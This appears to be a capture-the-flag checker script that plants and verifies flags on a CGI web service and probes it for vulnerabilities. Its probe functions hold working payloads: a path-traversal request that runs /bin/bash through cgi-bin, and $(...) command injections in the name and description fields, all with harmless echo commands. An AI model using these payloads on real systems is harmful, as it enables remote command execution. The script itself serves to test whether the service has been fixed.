#!/bin/bash

#$1 Host
#$2 Flag name
#$3 Flag data
function PlantFlag(){
    host=${1}
    name=${2}
    data=${3}
    res=$(lynx --source 'http://'${host}':8080/cgi-bin/add?name='${name}'&description='${data} 2>/dev/null)
    test "${res}" = "${name} added" && exit 0 || exit 1
}

#$1 Host
#$2 Flag name
#$3 Flag data
function CheckFlag(){
    host=${1}
    name=${2}
    data=${3}
    res=$(lynx --source 'http://'${host}':8080/cgi-bin/search?name='${name} 2>/dev/null | grep '<td>' | tail -n 1 | sed 's/.*<td>\(.*\)<.*/\1/g')
    test "${res}" = "${data}" && exit 0 || exit 1
}

#$1 Host
function WebServerExploitable(){
    res=$(lynx --source 'http://'${host}':8080/cgi-bin/../../../../../../../../../../../../bin/bash?-c&%22echo%20Still%20Exploitable%22' 2>/dev/null)
    test "${res}" = "Still Exploitable"
}

#$1 Host
function SearchScriptExploitable(){
    res=$(lynx --source 'http://localhost:8080/cgi-bin/search?name=%24(echo%20HelloExploitableWorld)')
    test "${res}" = "No user named HelloExploitableWorld"
}

#$1 Host
function AddScriptExploitable_description(){
    res=$(lynx --source 'http://localhost:8080/cgi-bin/add?name=Exploit&description=%24(echo%20HelloExploitableDescription)')
    if test "${res}" = "Exploit added"; then
        res=$(lynx --source 'http://localhost:8080/cgi-bin/search?name=Exploit'|grep HelloExploitableDescription|sed 's/.*<td>\(.*\)<\/td>/\1/g')
        test "${res}" = "HelloExploitableDescription"
    else
        false
    fi
}

#$1 Host
function AddScriptExploitable_name(){
    res=$(lynx --source 'http://localhost:8080/cgi-bin/add?name=%24(echo%20HelloExploitableName)&description=description')
    test "${res}" = "HelloExploitableName added"
}

#$1 Host
function Exploitable(){
    host=${1}
    count=0
    AddScriptExploitable_name $host && count=$((count+1))
    AddScriptExploitable_description $host && count=$((count+1))
    SearchScriptExploitable $host && count=$((count+1))
    WebServerExploitable $host && count=$((count+1))
    echo "Found ${count} exploitable vulnerabilities in ${host}"
    test ${count} -eq 0 && false || true
}

function Help(){
    echo "Usage: ${0} -p <host> <flagname> <flagdata>"
    echo "       ${0} -c <host> <flagname> <flagdata>"
    echo "       ${0} -e <host>"
    echo ""
    echo "  -p  Plant flag"
    echo "  -c  Check flag"
    echo "  -e  Check exploitability"
}

case $1 in
    "-p")
        PlantFlag $2 $3 $4
        ;;
    "-c")
        CheckFlag $2 $3 $4
        ;;
    "-e")
        Exploitable $2
        ;;
     *)
        Help
        ;;
esac
